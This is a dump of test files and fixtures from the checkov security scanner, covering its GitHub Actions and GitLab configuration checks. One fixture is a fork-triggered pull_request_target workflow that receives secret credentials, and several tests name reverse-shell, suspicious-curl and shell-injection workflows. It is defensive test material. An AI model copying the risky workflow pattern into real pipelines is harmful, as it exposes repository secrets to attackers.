  \"steps\": [\n                        {\"name\": \"Checkout\", \"uses\": \"actions/checkout@v3\", \"__startline__\": 11, \"__endline__\": 13},\n                        {\n                            \"name\": \"Setup Python\",\n                            \"uses\": \"actions/setup-python@v3\",\n                            \"with\": {\"python-version\": \"3.9\", \"__startline__\": 16, \"__endline__\": 17},\n                            \"__startline__\": 13,\n                            \"__endline__\": 17,\n                        },\n                        {\n                            \"name\": \"Setup Poetry\",\n                            \"uses\": \"Green/setup-poetry@v7\",\n                            \"__startline__\": 17,\n                            \"__endline__\": 19,\n                        },\n                        {\n                            \"name\": \"Install Python Dependencies\",\n                            \"run\": \"poetry install --with ci\\n\",\n                            \"__startline__\": 19,\n                            \"__endline__\": 22,\n                        },\n                        {\n                            \"name\": \"Trigger Build\",\n                            \"env\": {\n                                \"PR_NUMBER\": \"${{ github.event.pull_request.number }}\",\n                                \"BASE_BRANCH\": \"${{ github.event.pull_request.base.ref }}\",\n                                \"CONTRIB_BRANCH\": \"${{ github.event.pull_request.head.label }}\",\n                                \"USERNAME\": \"${{ secrets.TRIGGER_BUILD_USER }}\",\n                                \"PASSWORD\": \"${{ secrets.TRIGGER_BUILD_PASSWORD }}\",\n                                \"__startline__\": 24,\n                                \"__endline__\": 29,\n                            },\n                            \"run\": 'echo \"Trigger build for PR: $PR_NUMBER with base branch: $BASE_BRANCH contrib branch: $CONTRIB_BRANCH\"\\npoetry run python\\n',\n                            \"__startline__\": 22,\n                            \"__endline__\": 32,\n                        },\n                    ],\n                    \"__startline__\": 8,\n                    \"__endline__\": 32,\n                },\n                \"__startline__\": 7,\n                \"__endline__\": 32,\n            },\n            \"__startline__\": 1,\n            \"__endline__\": 32,\n        }\n    }\n\n    defs_raw = {\n        \"/tmp/checkov/tempo/blue/master/src/.github/workflows/trigger-build.yml\": [\n            (1, \"name: Trigger Build\\n\"),\n            (2, \"on:\\n\"),\n            (3, \"  pull_request_target:\\n\"),\n            (4, \"    types: [labeled]\\n\"),\n            (5, \"\\n\"),\n            (6, \"jobs:\\n\"),\n            (7, \"  trigget_build:\\n\"),\n            (8, \"    runs-on: ubuntu-latest\\n\"),\n            (9, \"    if: github.event.pull_request.head.repo.fork == true\\n\",),\n            (10, \"    steps:\\n\"),\n            (11, \"      - name: Checkout\\n\"),\n            (12, \"        uses: actions/checkout@v3\\n\"),\n            (13, \"      - name: Setup Python\\n\"),\n            (14, \"        uses: actions/setup-python@v3\\n\"),\n            (15, \"        with:\\n\"),\n            (16, \"          python-version: '3.9'\\n\"),\n            (17, \"      - name: Setup Poetry\\n\"),\n            (18, \"        uses: Green/setup-poetry@v7\\n\"),\n            (19, \"      - name: Install Python Dependencies\\n\"),\n            (20, \"        run: |\\n\"),\n            (21, \"          poetry install --with ci\\n\"),\n            (22, \"      - name: Trigger Build\\n\"),\n            (23, \"        env:\\n\"),\n            (24, \"          PR_NUMBER: ${{ github.event.pull_request.number }}\\n\"),\n            (25, \"          BASE_BRANCH: ${{ github.event.pull_request.base.ref }}\\n\"),\n            (26, \"          CONTRIB_BRANCH: ${{ github.event.pull_request.head.label }}\\n\"),\n            (27, \"          USERNAME: ${{ secrets.TRIGGER_BUILD_USER }}\\n\"),\n            (28, \"          PASSWORD: ${{ secrets.TRIGGER_BUILD_PASSWORD }}\\n\"),\n            (29, \"        run: |\\n\"),\n            (30, '          echo \"Trigger build for PR: $PR_NUMBER with base branch: $BASE_BRANCH contrib branch: $CONTRIB_BRANCH\"\\n',),\n            (31, \"          poetry run python\\n\",),\n        ]\n    }\n    context = build_gha_definitions_context(definitions=defs, definitions_raw=defs_raw)\n    assert len(context) == len(defs)\n    assert context == {\n        \"/tmp/checkov/tempo/blue/master/src/.github/workflows/trigger-build.yml\": {\n            \"on\": {\"pull_request_target\": {\"start_line\": 4, \"end_line\": 6,\n                                           \"code_lines\": [(4, \"    types: [labeled]\\n\"), (5, \"\\n\")]}},\n            \"jobs\": {\n                \"trigget_build\": {\n                    \"start_line\": 8,\n                    \"end_line\": 32,\n                    \"code_lines\": [\n                        (8, \"    runs-on: ubuntu-latest\\n\"),\n                        (9, \"    if: github.event.pull_request.head.repo.fork == true\\n\",),\n                        (10, \"    steps:\\n\"),\n                        (11, \"      - name: Checkout\\n\"),\n                        (12, \"        uses: actions/checkout@v3\\n\"),\n                        (13, \"      - name: Setup Python\\n\"),\n                        (14, \"        uses: actions/setup-python@v3\\n\"),\n                        (15, \"        with:\\n\"),\n                        (16, \"          python-version: '3.9'\\n\"),\n                        (17, \"      - name: Setup Poetry\\n\"),\n                        (18, \"        uses: Green/setup-poetry@v7\\n\"),\n                        (19, \"      - name: Install Python Dependencies\\n\"),\n                        (20, \"        run: |\\n\"),\n                        (21, \"          poetry install --with ci\\n\"),\n                        (22, \"      - name: Trigger Build\\n\"),\n                        (23, \"        env:\\n\"),\n                        (24, \"          PR_NUMBER: ${{ github.event.pull_request.number }}\\n\"),\n                        (25, \"          BASE_BRANCH: ${{ github.event.pull_request.base.ref }}\\n\"),\n                        (26, \"          CONTRIB_BRANCH: ${{ github.event.pull_request.head.label }}\\n\"),\n                        (27, \"          USERNAME: ${{ secrets.TRIGGER_BUILD_USER }}\\n\"),\n                        (28, \"          PASSWORD: ${{ secrets.TRIGGER_BUILD_PASSWORD }}\\n\"),\n                        (29, \"        run: |\\n\"),\n                        (30, '          echo \"Trigger build for PR: $PR_NUMBER with base branch: $BASE_BRANCH contrib branch: $CONTRIB_BRANCH\"\\n',),\n                        (31, \"          poetry run python\\n\",),\n                    ],\n                }\n            }\n        }\n    }\n"
  },
  {
    "path": "tests/github_actions/test_runner.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.severities import Severities, BcSeverities\nfrom checkov.github_actions.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.github_actions.checks.registry import registry\n\n\nclass TestRunnerValid(unittest.TestCase):\n\n    def test_registry_has_type(self):\n        self.assertEqual(registry.report_type, CheckType.GITHUB_ACTIONS)\n\n    def test_runner(self):\n        # given\n        test_dir = Path(__file__).parent / \"resources\"\n        checks = [\"CKV_GHA_1\", \"CKV_GHA_2\"]\n\n        # when\n        report = Runner().run(\n            root_folder=str(test_dir), runner_filter=RunnerFilter(framework=[\"github_actions\"], checks=checks)\n        )\n\n        # then\n        self.assertEqual(len(report.failed_checks), 9)\n        self.assertEqual(len(report.parsing_errors), 0)\n        self.assertEqual(len(report.passed_checks), 157)\n        self.assertEqual(len(report.skipped_checks), 0)\n\n    def test_runner_multi_file(self):\n        # given\n        file_path = Path(__file__).parent / \"gha/.github/workflows/multi_file.yaml\"\n        file_dir = [str(file_path)]\n        filter = RunnerFilter(framework=['github_actions'])\n\n        # when\n        report = Runner().run(files=file_dir, runner_filter=filter)\n\n        # then\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(len(report.skipped_checks), 0)\n        self.assertEqual(len(report.parsing_errors), 0)\n\n    def test_runner_honors_enforcement_rules(self):\n        # given\n        test_dir = Path(__file__).parent / \"resources\"\n        filter = RunnerFilter(framework=['github_actions'], use_enforcement_rules=True)\n        # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry\n        # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method\n        filter.enforcement_rule_configs = {CheckType.GITHUB_ACTIONS: Severities[BcSeverities.OFF]}\n\n        # when\n        report = Runner().run(\n            root_folder=str(test_dir), runner_filter=filter\n        )\n\n        # then\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(len(report.skipped_checks), 0)\n        self.assertEqual(len(report.parsing_errors), 0)\n\n    def test_runner_on_suspectcurl(self):\n        # given\n        file_path = Path(__file__).parent / \"resources/.github/workflows/suspectcurl.yaml\"\n        file_dir = [str(file_path)]\n        checks = [\"CKV_GHA_1\", \"CKV_GHA_3\"]\n\n        # when\n        report = Runner().run(\n            files=file_dir, runner_filter=RunnerFilter(framework=[\"github_actions\"], checks=checks)\n        )\n\n        # then\n        assert report.failed_checks[0].job[0] == 'prep'\n        assert report.failed_checks[0].triggers[0] == {'push', 'workflow_dispatch'}\n        assert report.failed_checks[0].workflow_name == 'CI'\n\n        assert report.failed_checks[1].job[0] == 'build'\n        assert report.failed_checks[1].triggers[0] == {'push', 'workflow_dispatch'}\n        assert report.failed_checks[1].workflow_name == 'CI'\n\n    def test_runner_on_bad_jobs(self):\n        # given\n        file_path = Path(__file__).parent / \"resources/.github/workflows/nested_jobs.yaml\"\n        file_dir = [str(file_path)]\n\n        # when\n        report = Runner().run(\n            files=file_dir, runner_filter=RunnerFilter(framework=[\"github_actions\"])\n        )\n\n        # then\n        assert len(report.passed_checks) + len(report.failed_checks) == 0\n\n    def test_runner_on_shell_injection(self):\n        # given\n        file_path = Path(__file__).parent / \"resources/.github/workflows/shell_injection.yaml\"\n        file_dir = [str(file_path)]\n        checks = [\"CKV_GHA_1\", \"CKV_GHA_3\"]\n\n        # when\n        report = Runner().run(\n            files=file_dir, runner_filter=RunnerFilter(framework=[\"github_actions\"], checks=checks)\n        )\n\n        # then\n        assert report.passed_checks[0].job[0] == 'unsecure-job'\n        assert report.passed_checks[0].triggers[0] == {'issues'}\n        assert report.passed_checks[0].workflow_name == 'unsec33ure-worfklow'\n\n        assert report.passed_checks[1].job[0] == 'secure-job'\n        assert report.passed_checks[1].triggers[0] == {'issues'}\n        assert report.passed_checks[1].workflow_name == 'unsec33ure-worfklow'\n\n        assert report.passed_checks[2].job[0] == 'unsecure-steps'\n        assert report.passed_checks[2].triggers[0] == {'issues'}\n        assert report.passed_checks[2].workflow_name == 'unsec33ure-worfklow'\n\n    def test_runner_on_netcatreverseshell(self):\n        # given\n        file_path = Path(__file__).parent / \"resources/.github/workflows/netcatreverseshell.yaml\"\n        file_dir = [str(file_path)]\n        checks = [\"CKV_GHA_1\", \"CKV_GHA_3\"]\n\n        # when\n        report = Runner().run(\n            files=file_dir, runner_filter=RunnerFilter(framework=[\"github_actions\"], checks=checks)\n        )\n\n        # then\n        assert report.passed_checks[0].job[0] == 'prep'\n        assert report.passed_checks[0].triggers[0] == {'workflow_dispatch', 'push'}\n        assert report.passed_checks[0].workflow_name == 'REVERSESHELL'\n\n        assert report.passed_checks[1].job[0] == 'build'\n        assert report.passed_checks[1].triggers[0] == {'workflow_dispatch', 'push'}\n        assert report.passed_checks[1].workflow_name == 'REVERSESHELL'\n\n    def test_runner_on_unsecure_command(self):\n        # given\n        file_path = Path(__file__).parent / \"resources/.github/workflows/unsecure_command.yaml\"\n        file_dir = [str(file_path)]\n\n        checks = [\"CKV_GHA_1\", \"CKV_GHA_3\"]\n\n        # when\n        report = Runner().run(\n            files=file_dir, runner_filter=RunnerFilter(framework=[\"github_actions\"], checks=checks)\n        )\n\n        # then\n        assert report.failed_checks[0].job[0] == 'unsecure-job'\n        assert report.failed_checks[0].triggers[0] == {'pull_request'}\n        assert report.failed_checks[0].workflow_name == 'unsecure-worfklow'\n\n        assert report.passed_checks[2].job[0] == 'secure-job'\n        assert report.passed_checks[2].triggers[0] == {'pull_request'}\n        assert report.passed_checks[2].workflow_name == 'unsecure-worfklow'\n\n    def test_runner_on_non_empty_workflow_dispatch(self):\n        # given\n        file_path = Path(__file__).parent / \"resources/.github/workflows/workflow_dispatch.yaml\"\n        file_dir = [str(file_path)]\n\n        checks = [\"CKV_GHA_7\"]\n\n        # when\n        report = Runner().run(\n            files=file_dir, runner_filter=RunnerFilter(framework=[\"github_actions\"], checks=checks)\n        )\n\n        # then\n        assert report.failed_checks[0].job[0] == ''\n        assert report.failed_checks[0].triggers[0] == {'workflow_dispatch'}\n        assert report.failed_checks[0].workflow_name == ''\n\n    def test_runner_on_list_typed_workflow_dispatch(self):\n        # given\n        file_path = Path(__file__).parent / \"resources/.github/workflows/list_workflow_dispatch.yml\"\n        file_dir = [str(file_path)]\n\n        checks = [\"CKV_GHA_7\"]\n\n        # when\n        report = Runner().run(\n            files=file_dir, runner_filter=RunnerFilter(framework=[\"github_actions\"], checks=checks)\n        )\n\n        # then\n        assert len(report.failed_checks) == 0\n\n    def test_runner_on_supply_chain(self):\n        # given\n        file_path = Path(__file__).parent / \"resources/.github/workflows/supply_chain.yaml\"\n        file_dir = [str(file_path)]\n        checks = [\"CKV_GHA_1\", \"CKV_GHA_3\"]\n\n        # when\n        report = Runner().run(\n            files=file_dir, runner_filter=RunnerFilter(framework=[\"github_actions\"], checks=checks)\n        )\n\n        # then\n        assert report.failed_checks[0].job[0] == \"bridgecrew\"\n        assert report.failed_checks[0].triggers[0] == {\"workflow_dispatch\", \"schedule\"}\n        assert report.failed_checks[0].workflow_name == 'Supply Chain'\n\n        assert report.passed_checks[1].job[0] == \"bridgecrew2\"\n        assert report.passed_checks[1].triggers[0] == {\"workflow_dispatch\", \"schedule\"}\n        assert report.passed_checks[1].workflow_name == 'Supply Chain'\n\n    def test_runner_on_build(self):\n        # given\n        file_path = Path(__file__).parent.parent.parent / \".github/workflows/build.yml\"\n        file_dir = [str(file_path)]\n        checks = [\"CKV_GHA_1\", \"CKV_GHA_3\"]\n\n        # when\n        report = Runner().run(\n            files=file_dir, runner_filter=RunnerFilter(framework=[\"github_actions\"], checks=checks)\n        )\n\n        # then\n        assert report.failed_checks[0].job[0] == 'update-bridgecrew-projects'\n        assert report.failed_checks[0].triggers[0] == {'workflow_dispatch', 'push'}\n        assert report.failed_checks[0].workflow_name == 'build'\n\n        assert report.passed_checks[8].job[0] == \"publish-checkov-dockerhub\"\n        assert report.passed_checks[8].triggers[0] == {'workflow_dispatch', 'push'}\n        assert report.passed_checks[8].workflow_name == 'build'\n\n    def test_runner_on_codeql_analysis(self):\n        # given\n        file_path = Path(__file__).parent.parent.parent / \".github/workflows/codeql-analysis.yml\"\n        file_dir = [str(file_path)]\n        checks = [\"CKV_GHA_1\", \"CKV_GHA_3\"]\n\n        # when\n        report = Runner().run(\n            files=file_dir, runner_filter=RunnerFilter(framework=[\"github_actions\"], checks=checks)\n        )\n\n        # then\n        assert report.passed_checks[0].job[0] == \"analyze\"\n        assert report.passed_checks[0].triggers[0] == {'push', 'schedule', 'pull_request', 'workflow_dispatch'}\n        assert report.passed_checks[0].workflow_name == 'CodeQL'\n\n    def test_runner_on_suspectcurl(self):\n        # given\n        file_path = Path(__file__).parent / \"resources/.github/workflows/empty_jobs.yaml\"\n        file_dir = [str(file_path)]\n        checks = [\"CKV_GHA_6\", \"CKV_GHA_5\"]\n\n        # when\n        report = Runner().run(\n            files=file_dir, runner_filter=RunnerFilter(framework=[\"github_actions\"], checks=checks)\n        )\n\n        # then\n        assert len(report.failed_checks) == 0\n        assert len(report.passed_checks) == 0\n        assert len(report.skipped_checks) == 0\n        assert len(report.parsing_errors) == 0\n\n    def test_runner_on_permissions(self):\n        # given\n        file_path = Path(__file__).parent / \"gha/.github/workflows/failed.yaml\"\n        file_dir = [str(file_path)]\n        checks = [\"CKV2_GHA_1\"]\n\n        # when\n        report = Runner().run(\n            files=file_dir, runner_filter=RunnerFilter(framework=[\"github_actions\"], checks=checks)\n        )\n\n        # then\n        assert len(report.failed_checks) == 1\n        assert report.failed_checks[0].file_line_range == [7, 8]\n        assert len(report.passed_checks) == 0\n        assert len(report.skipped_checks) == 0\n        assert len(report.parsing_errors) == 0\n\n    def test_runner_on_workflows_dispatch(self):\n        # given\n        file_path = Path(__file__).parent / \"gha/.github/workflows/bad_workflows_dispatch.yaml\"\n        file_dir = [str(file_path)]\n        checks = [\"CKV_GHA_7\"]\n\n        # when\n        report = Runner().run(\n            files=file_dir, runner_filter=RunnerFilter(framework=[\"github_actions\"], checks=checks)\n        )\n\n        # then\n        assert len(report.failed_checks) == 1\n        assert len(report.passed_checks) == 0\n        assert len(report.skipped_checks) == 0\n        assert len(report.parsing_errors) == 0\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/github_actions/test_runner_auxiliary.py",
    "content": "from __future__ import annotations\nfrom typing import Any\n\nfrom checkov.common.checks.base_check_registry import BaseCheckRegistry\n\nfrom checkov.common.runners.object_runner import Runner\n\n\n# Since ObjectRunner is an abstract class, we can't instantiate it.\n# This class is used only for testing by filling up the abstract implementations.\nclass ObjectRunnerImplementedAbstractions(Runner):\n    def _parse_file(\n            self, f: str\n    ) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None:\n        return None\n\n    def get_start_end_lines(self, end: int, result_config: dict[str, Any], start: int) -> tuple[int, int]:\n        return 1, 1\n\n    def import_registry(self) -> BaseCheckRegistry:\n        return BaseCheckRegistry(\"\")\n\n\ndef test_get_jobs() -> None:\n    string_step_definition = {\n        \"name\": \"String step\",\n        \"jobs\": {\n            \"install-dbx\": {\n                \"name\": \"Install dependencies and project in dev mode\",\n                \"steps\": {\n                    \"run\": \"pip install dbx\\n\",\n                    \"__startline__\": 185,\n                    \"__endline__\": 188\n                },\n                \"__startline__\": 183,\n                \"__endline__\": 188\n            },\n            \"__startline__\": 29,\n            \"__endline__\": 346\n        },\n        \"__startline__\": 1,\n        \"__endline__\": 346\n    }\n\n    end_line_to_job_name_dict = ObjectRunnerImplementedAbstractions()._get_jobs(string_step_definition)\n\n    assert end_line_to_job_name_dict[188] == \"install-dbx\"\n"
  },
  {
    "path": "tests/github_actions/test_runner_resource_names.py",
    "content": "import pytest\nfrom checkov.github_actions.runner import Runner\n\n\n@pytest.mark.parametrize(\n    \"start_line,end_line,expected_job_name\",\n    [\n        (10, 15, \"container-test-job\"),\n        (8, 20, \"container-test-job\"),\n        (24, 30, \"second_job\"),\n        (25, 27, \"second_job\"),\n        (5, 40, \"\")\n    ],\n)\ndef test_resolve_job_name(start_line, end_line, expected_job_name, definition):\n    job_name = Runner.resolve_sub_name(definition, start_line, end_line, tag='jobs')\n\n    assert job_name == expected_job_name\n\n\n@pytest.mark.parametrize(\n    \"key,expected_key, supported_entities, start_line, end_line\",\n    [\n        ('jobs.container-test-job.CKV_GHA_3[7:23]', \"jobs(container-test-job)\",\n         ('jobs', 'jobs.*.steps[]'), 7, 23),\n        ('jobs.*.steps[].jobs.*.steps[].CKV_GHA_3[18:23]', \"jobs(container-test-job).steps[1](Check for dockerenv file)\",\n         ('jobs', 'jobs.*.steps[]'), 18, 23),\n        ('jobs.*.steps[].jobs.*.steps[].CKV_GHA_3[31:35]', \"jobs(no_step_name_job).steps[1]\",\n        ('jobs', 'jobs.*.steps[]'), 31, 35),\n    ],\n)\ndef test_get_resource(key, supported_entities, expected_key, start_line, end_line, definition):\n    runner = Runner()\n    file_path = \"mock_path\"\n    runner.definitions[file_path] = definition\n\n    new_key = runner.get_resource(file_path, key, supported_entities, start_line, end_line)\n\n    assert new_key == expected_key\n"
  },
  {
    "path": "tests/github_actions/test_runner_with_graph.py",
    "content": "import pickle\nimport unittest\nfrom pathlib import Path\n\nfrom checkov.github_actions.runner import Runner\nfrom checkov.github_actions.utils import build_gha_definitions_context\nfrom checkov.runner_filter import RunnerFilter\n\n\ndef test_runner_with_existing_graph():\n\n    def mock_graph():\n        with open(str(Path(__file__).parent / 'resources/graph.pkl'), 'rb') as inp:\n            graph = pickle.load(inp)\n            return graph\n\n    # given\n    file_path = Path(__file__).parent / \"gha/.github/workflows/failed.yaml\"\n    file_dir = [str(file_path)]\n    checks = [\"CKV2_GHA_1\"]\n    definitions = {'/Users/mamelchenko/development/checkov/tests/github_actions/gha/.github/workflows/failed.yaml': {'name': 'read-only', 'on': {'pull_request': {'types': ['opened', 'synchronize', 'labeled', 'unlabeled'], '__startline__': 5, '__endline__': 7}, '__startline__': 4, '__endline__': 7}, 'permissions': 'write-all', 'jobs': {'example': {'runs-on': 'ubuntu-latest', 'steps': [{'uses': 'actions/checkout@12345678', '__startline__': 13, '__endline__': 14}, {'run': 'echo \"working hard\"\\n', '__startline__': 14, '__endline__': 16}], '__startline__': 11, '__endline__': 16}, '__startline__': 10, '__endline__': 16}, '__startline__': 1, '__endline__': 16}}\n    definitions_raw = {'/Users/mamelchenko/development/checkov/tests/github_actions/gha/.github/workflows/failed.yaml': [(1, 'name: read-only\\n'), (2, '\\n'), (3, 'on:\\n'), (4, '  pull_request:\\n'), (5, '    types: [ opened, synchronize, labeled, unlabeled ]\\n'), (6, '\\n'), (7, 'permissions: write-all\\n'), (8, '\\n'), (9, 'jobs:\\n'), (10, '  example:\\n'), (11, '    runs-on: ubuntu-latest\\n'), (12, '    steps:\\n'), (13, '      - uses: actions/checkout@12345678\\n'), (14, '      - run: |\\n'), (15, '          echo \"working hard\"\\n')]}\n    context = build_gha_definitions_context(definitions=definitions, definitions_raw=definitions_raw)\n\n    graph_runner = Runner()\n    graph_runner.graph_manager.get_reader_endpoint = mock_graph\n    graph_runner.set_external_data(definitions=definitions, context=context, breadcrumbs=None)\n    graph_runner.set_raw_definitions(definitions_raw=definitions_raw)\n    # when\n    report = graph_runner.run(files=file_dir, runner_filter=RunnerFilter(framework=[\"github_actions\"], checks=checks))\n\n    # then\n    assert len(report.failed_checks) == 1\n    assert len(report.passed_checks) == 0\n    assert len(report.skipped_checks) == 0\n    assert len(report.parsing_errors) == 0\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/github_actions/test_schema_validation.py",
    "content": "import os\nfrom pathlib import Path\n\nfrom checkov.github_actions.runner import Runner\n\nRESOURCE_DIR = Path(__file__).parent / \"resources/.github/workflows\"\n\n\ndef test_schema_validation(bad_schema_files):\n    runner = Runner()\n    results = {}\n    filenames = set()\n    for filename in os.listdir(RESOURCE_DIR):\n        f = os.path.join(RESOURCE_DIR, filename)\n        filenames.add(filename)\n        if os.path.isfile(f):\n            res = runner._parse_file(f)\n            results[filename] = True if res else False\n\n    assert all(results[filename] is True for filename in filenames - bad_schema_files)\n    assert all(results[filename] is False for filename in bad_schema_files)\n\n\ndef test_off_value_parsed_correctly():\n    # given\n    test_file = RESOURCE_DIR / \"off_value.yaml\"\n\n    # when\n    definition, _ = Runner()._parse_file(str(test_file))\n\n    # then\n    assert definition[\"jobs\"][\"pre-commit\"][\"steps\"][1][\"with\"][\"comment_mode\"] is False\n"
  },
  {
    "path": "tests/gitlab/__init__.py",
    "content": ""
  },
  {
    "path": "tests/gitlab/resources/gitlab_conf/fail/groups.json",
    "content": "[\n  {\n    \"id\": 15483421,\n    \"web_url\": \"https://gitlab.com/groups/baraktest1\",\n    \"name\": \"baraktestgroup\",\n    \"path\": \"baraktest1\",\n    \"description\": \"\",\n    \"visibility\": \"private\",\n    \"share_with_group_lock\": false,\n    \"require_two_factor_authentication\": false,\n    \"two_factor_grace_period\": 48,\n    \"project_creation_level\": \"developer\",\n    \"auto_devops_enabled\": null,\n    \"subgroup_creation_level\": \"maintainer\",\n    \"emails_disabled\": null,\n    \"mentions_disabled\": null,\n    \"lfs_enabled\": true,\n    \"default_branch_protection\": 2,\n    \"avatar_url\": null,\n    \"request_access_enabled\": true,\n    \"full_name\": \"baraktestgroup\",\n    \"full_path\": \"baraktest1\",\n    \"created_at\": \"2022-01-17T11:03:19.763Z\",\n    \"parent_id\": null,\n    \"ldap_cn\": null,\n    \"ldap_access\": null\n  }\n]"
  },
  {
    "path": "tests/gitlab/resources/gitlab_conf/fail/merge_request_approval_conf.json",
    "content": "{\n  \"approvals_before_merge\": 1,\n  \"reset_approvals_on_push\": true,\n  \"disable_overriding_approvers_per_merge_request\": false,\n  \"merge_requests_author_approval\": true,\n  \"merge_requests_disable_committers_approval\": false,\n  \"require_password_to_approve\": true\n}\n"
  },
  {
    "path": "tests/gitlab/resources/gitlab_conf/pass/groups.json",
    "content": "[\n  {\n    \"id\": 15483421,\n    \"web_url\": \"https://gitlab.com/groups/baraktest1\",\n    \"name\": \"baraktestgroup\",\n    \"path\": \"baraktest1\",\n    \"description\": \"\",\n    \"visibility\": \"private\",\n    \"share_with_group_lock\": false,\n    \"require_two_factor_authentication\": true,\n    \"two_factor_grace_period\": 48,\n    \"project_creation_level\": \"developer\",\n    \"auto_devops_enabled\": null,\n    \"subgroup_creation_level\": \"maintainer\",\n    \"emails_disabled\": null,\n    \"mentions_disabled\": null,\n    \"lfs_enabled\": true,\n    \"default_branch_protection\": 2,\n    \"avatar_url\": null,\n    \"request_access_enabled\": true,\n    \"full_name\": \"baraktestgroup\",\n    \"full_path\": \"baraktest1\",\n    \"created_at\": \"2022-01-17T11:03:19.763Z\",\n    \"parent_id\": null,\n    \"ldap_cn\": null,\n    \"ldap_access\": null\n  }\n]"
  },
  {
    "path": "tests/gitlab/resources/gitlab_conf/pass/merge_request_approval_conf.json",
    "content": "{\n  \"approvals_before_merge\": 3,\n  \"reset_approvals_on_push\": true,\n  \"disable_overriding_approvers_per_merge_request\": false,\n  \"merge_requests_author_approval\": true,\n  \"merge_requests_disable_committers_approval\": false,\n  \"require_password_to_approve\": true\n}\n"
  },
  {
    "path": "tests/gitlab/test_runner.py",
    "content": "import os\nimport unittest\nfrom pathlib import Path\nfrom unittest import mock\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.severities import Severities, BcSeverities\nfrom checkov.gitlab.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.gitlab.registry import registry\n\n\nclass TestGitlabRunnerValid(unittest.TestCase):\n\n    @mock.patch.dict(os.environ, {\"CKV_GITLAB_CONFIG_FETCH_DATA\": \"False\", \"PYCHARM_HOSTED\": \"1\"}, clear=True)\n    def test_runner_object_failing_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\", \"gitlab_conf\", \"fail\")\n        runner = Runner()\n        runner.gitlab.gitlab_conf_dir_path = valid_dir_path\n\n        checks = [\"CKV_GITLAB_1\"]\n        report = runner.run(\n            root_folder=valid_dir_path,\n            runner_filter=RunnerFilter(checks=checks)\n        )\n        self.assertEqual(len(report.failed_checks), 1)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(report.skipped_checks, [])\n\n    @mock.patch.dict(os.environ, {\"CKV_GITLAB_CONFIG_FETCH_DATA\": \"False\", \"PYCHARM_HOSTED\": \"1\"}, clear=True)\n    def test_runner_honors_enforcement_rules(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\", \"gitlab_conf\", \"fail\")\n        runner = Runner()\n        runner.gitlab.gitlab_conf_dir_path = valid_dir_path\n        filter = RunnerFilter(framework=['gitlab_configuration'], use_enforcement_rules=True)\n        # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry\n        # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method\n        filter.enforcement_rule_configs = {CheckType.GITLAB_CONFIGURATION: Severities[BcSeverities.OFF]}\n        report = runner.run(\n            root_folder=valid_dir_path,\n            runner_filter=filter\n        )\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(len(report.skipped_checks), 0)\n        self.assertEqual(len(report.parsing_errors), 0)\n\n    @mock.patch.dict(os.environ, {\"CKV_GITLAB_CONFIG_FETCH_DATA\": \"False\", \"PYCHARM_HOSTED\": \"1\"}, clear=True)\n    def test_runner_object_passing_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\", \"gitlab_conf\", \"pass\")\n        runner = Runner()\n        runner.gitlab.gitlab_conf_dir_path = valid_dir_path\n        checks = [\"CKV_GITLAB_1\"]\n        report = runner.run(\n            root_folder=valid_dir_path,\n            runner_filter=RunnerFilter(checks=checks)\n        )\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(len(report.passed_checks), 1)\n        self.assertEqual(report.skipped_checks, [])\n\n    @mock.patch.dict(os.environ, {\"CKV_GITLAB_CONFIG_FETCH_DATA\": \"False\", \"PYCHARM_HOSTED\": \"1\"}, clear=True)\n    def test_runner_files_ignore(self):\n        # given\n        test_file = Path(__file__).parent / \"resources/gitlab_conf/pass/merge_request_approval_conf.json\"\n        checks = [\"CKV_GITLAB_1\"]\n\n        # when\n        report = Runner().run(\n            files=[str(test_file)],\n            runner_filter=RunnerFilter(checks=checks)\n        )\n\n        # then\n        # even it points to a file with scannable content, it should skip it\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(len(report.parsing_errors), 0)\n        self.assertEqual(len(report.skipped_checks), 0)\n\n    def test_registry_has_type(self):\n        self.assertEqual(registry.report_type, CheckType.GITLAB_CONFIGURATION)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/gitlab_ci/__init__.py",
    "content": ""
  },
  {
    "path": "tests/gitlab_ci/conftest.py",
